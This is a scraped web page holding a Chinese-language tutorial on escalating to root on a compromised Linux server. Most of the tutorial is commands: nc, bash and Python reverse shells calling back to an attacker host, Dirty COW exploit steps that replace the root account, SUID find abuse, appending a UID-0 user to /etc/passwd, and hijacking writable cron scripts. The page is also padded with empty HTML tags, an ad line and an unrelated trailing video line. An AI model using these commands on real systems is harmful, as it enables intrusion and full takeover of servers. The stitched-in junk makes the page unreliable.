<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                # Linux系統提權 當拿到了一臺Linux服務器的低權限賬號后,要通過技術手段提權至 root 用戶權限,以執行更多的操作。首先關于Linux提權我們得先明白幾個概念。 ## linux內核知識 Linux內核版本號由3組數字組成:第一個組數字:內核主版本。 第二個組數字:偶數表示穩定版本;奇數表示開發中版本。第三個組數字:錯誤修補的次數。 3.10.0就是內核版本號。3就是內核主版本,10表示是穩定版,0表示錯誤修補次數是0。 ```sh #使用以下命令也可以看到系統內核及版本的一些信息: uname -a #查看內核的具體信息 cat /proc/version #查看內核的具體信息 cat /etc/centos-release #查看centos發行版本 cat /etc/redhat-release #查看redhat發行版本 ``` ## Linux提權方法總結 Linux提權的前提: 1. 拿到了一個低權限的賬號 2. 能上傳和下載文件 3. 機器上有python、java、perl等環境(非必須項) ### 一、Linux反彈提權 **如果手里只有webshell可以利用反彈shell來得到一個shell,反彈的權限是中間件的權限。 ** #### 1、NC反彈shell **NC詳情參考:**https://www.cnblogs.com/nmap/p/6148306.html **①nc參數介紹** ```sh -l 指定nc將處于偵聽模式,nc被當作server,偵聽并接受連接。 -p <port>指定端口,老版本才需要-p -s 指定發送數據的源IP地址,適用于多網卡機 -u 指定nc使用UDP協議,默認為TCP -v 輸出交互或出錯信息,新手調試時尤為有用 -w 超時秒數,后面跟數字 -z 表示zero,表示掃描時不發送任何數據 ``` **②nc做tcp監聽** ```sh # 開啟本地8080端口監聽 nc nc -l -p 80802 ``` **③nc反彈服務器shell** **方法⑴:**公網主機綁定SHELL ```sh #在公網監聽端口5555端口,并綁定shell nc -lp 5555 -t -e cmd.exe #在內網主動建立到外網IP:5555的連接 nc -nvv x.x.x.x 5555 ``` **方法⑵:**內網主機綁定SHELL ```sh #在公網監聽端口 nc -lp 5555 #在內網機器綁定shell反彈 nc -t -e cmd x.x.x.x 5555 ``` #### 2、利用bash直接反彈 **(1) bash反彈一句話** ```sh #先公網監聽 nc -l -p 8080 #在內網bash反彈 bash -i >& /dev/tcp/x.x.x.x/8080 0>&1 ``` 網上還有很多方法一句話反彈shell,需要自行搜索 ### 二、內核漏洞提權——臟牛 1. **臟牛漏洞:** 又叫Dirty COW,存在Linux內核中已經有長達9年的時間,在2007年發布的Linux內核版本中就已經存在此漏洞。Linux kernel團隊在2016年10月18日已經對此進行了修復。 2. **漏洞范圍:** Linux內核 >= 2.6.22(2007年發行,到2016年10月18日才修復) 3. **簡要分析:** 該漏洞具體為,Linux內核的內存子系統在處理寫入復制(copy-on-write, COW)時產生了競爭條件(race condition)。 競爭條件,指的是任務執行順序異常,可導致應用崩潰,或令攻擊者有機可乘,進一步執行其他代碼。 惡意用戶可利用此漏洞,來獲取高權限,對只讀內存映射進行寫訪問。 3. **exp:** [https://github.com/gbonacini/CVE-2016-5195](https://github.com/gbonacini/CVE-2016-5195) #### 示例:臟牛內核提權 1. 首先確定發行版、內核版 ```sh cat /etc/issue cat /etc/*-release uname -a ``` 2. 根據內核版本,找exp,下載對應dirty.c文件編譯 ```sh gcc -pthread dirty.c -o dirty -lcrypt ``` 3. 執行當前編譯的dirty.c文件,然后輸入新密碼123456 ```sh ./dirty #執行后,會將原來的passwd文件備份到/tmp目錄 #然后創建的新賬號是firefart,密碼123456 ``` 4. 等創建成功后,切換到firefart用戶 會發現此用戶會發現已經是root權限了。 最好立刻再新建一個管理員賬號,然后立刻恢復passwd文件。 因為這個提權不是新建了一個賬號,而已用新賬號替換了root賬號,所以要把root賬號恢復回去 ### 三、SUID提權 SUID(設置用戶ID)是賦予文件的一種特殊權限,擁有改權限的程序,任何用戶執行的時候都是改命令都是以root權限執行的 suid提權是指這類有S權限的程序,如果能執行命令,那么我們就能從用改程序從普通用戶提升到了root權限 #### SUID可用命令 **⑴在本地查找符合條件的文件,有以下三個命令** ```sh #嘗試查找具有root權限的SUID的文件,不同系統適用于不同的命令,一個一個試 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; ``` **⑵已知的可用來提權的linux可行性的文件列表如下:** ```sh nmap vim find bash more less nano cp ``` #### 示例:利用find文件提權 假如我們現在拿到了一個網站服務器的shell,但是權限是ubuntu,我們現在需要提權到 root 用戶權限。 1. 查看具有root用戶權限的SUID文件 ```sh find / -perm -u=s -type f 2>/dev/null ``` 2. 發現有find命令,再確認一下 ```sh ls -lh /usr/bin/find #權限是rwsr-xr-x 確實有s權限 ``` 3. 測試是否能用find命令以root權限運行 ```sh /usr/bin/find examples.desktop -exec whoami \; #發現確實可以以root權限運行 ``` 4. 然后查看目標網站上是否的python環境 linux服務器一般都自帶python,區別是有些2.X,有些3.x 5. 于是我們以root用戶的身份利用python反彈shell, ```python #反彈一個sh類型的shell python -c 'import socket,subprocess,os; \ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \ s.connect(("192.168.10.25",4444)); \ os.dup2(s.fileno(),0); \ os.dup2(s.fileno(),1); \ os.dup2(s.fileno(),2); \ p=subprocess.call(["/bin/sh","-i"]);' ``` 6. 遠端nc監聽`nc -lvp 4444` 可以看到,在攻擊端收到了反彈過來的shell,并且是root身份 >本節來自:https://blog.csdn.net/qq_36119192/article/details/84872644 ### 四、Linux配置錯誤提權 **利用Linux的配置文件錯誤,導致 /etc/passwd 文件可寫入提權** **對Linux配置進行檢查的腳本有:** https://www.securitysift.com/download/linuxprivchecker.py http://pentestmonkey.net/tools/audit/unix-privesc-check **當我們獲得了某個Linux服務器的低權限之后,我們想要對該低權限賬號進行提權,以執行更多的操作。** 接下來我們的提權是利用 /etc/passwd?文件的可寫入權限,導致我們寫入一個其他用戶進去。 1. 查看 /etc/passwd?的權限,發現任何用戶都可以讀寫。 我們現在要做的就是自己構造一個用戶,在密碼占位符處指定密碼,并且UID設置為0,將其添加到 /etc/passwd?文件中。 2. **首先,使用perl語言生成帶有鹽值的密碼:** ```sh perl -le 'print crypt("password@123","addedsalt")' ``` 3. **然后將test用戶的信息加入 /etc/passwd?文件** ```sh echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd ``` 4. **以`test/password@123`登錄主機** 登錄成功后,是 root 權限。 ### 五、定時任務提權 系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。 非root權限的用戶是不可以列出root 用戶的計劃任務的。但是系統的計劃任務`/etc、cron*`可以被列出。 默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫,我們就可以修改腳本進行提權了。 1. 列出系統定時任務 ```sh ls -l /etc/cron* ``` 2. 查看列出的目錄中,是否允許普通用戶修改 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly?這四個文件夾內的文件,查看是否允許其他用戶修改。 如果允許任意用戶修改,那么我們就可以往這些文件里面寫入反彈shell的腳本提權了。 ### 六、密碼復用提權 我們如果在主機上找到了其他應用或數據庫的密碼,那么很有可能root用戶也用該密碼,或者該參考該密碼命名規則。那么就可以嘗試一下 su root 來提權了。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看